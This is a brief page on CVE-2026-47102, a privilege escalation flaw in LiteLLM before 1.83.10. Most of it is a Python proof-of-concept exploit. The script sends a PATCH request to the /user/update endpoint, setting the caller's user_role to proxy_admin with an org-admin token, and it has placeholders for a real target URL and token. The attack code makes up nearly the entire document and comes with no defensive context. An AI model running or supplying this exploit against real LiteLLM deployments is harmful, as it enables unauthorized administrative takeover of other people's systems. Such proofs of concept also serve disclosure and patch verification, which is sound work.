CVE-2026-47102 LiteLLM权限提升漏洞

import requests def exploit_privilege_escalation(target_url, auth_token): """ PoC for CVE-2026-47102 Exploits the user_role update vulnerability in LiteLLM < 1.83.10 """ headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Malicious payload to escalate privileges to proxy_admin payload = { "user_role": "proxy_admin" } try: # Send request to the vulnerable endpoint response = requests.patch(f"{target_url}/user/update", json=payload, headers=headers) if response.status_code == 200: print("[+] Success! User role updated to proxy_admin.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost:4000" # Replace with actual target token = "YOUR_VALID_ORG_ADMIN_TOKEN" # Replace with valid token exploit_privilege_escalation(target, token)